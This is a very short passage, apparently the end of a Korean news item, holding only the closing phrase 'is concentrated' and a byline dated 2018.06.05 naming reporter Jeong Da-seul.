밀집돼 있다.
2018.06.05 I 정다슬 기자

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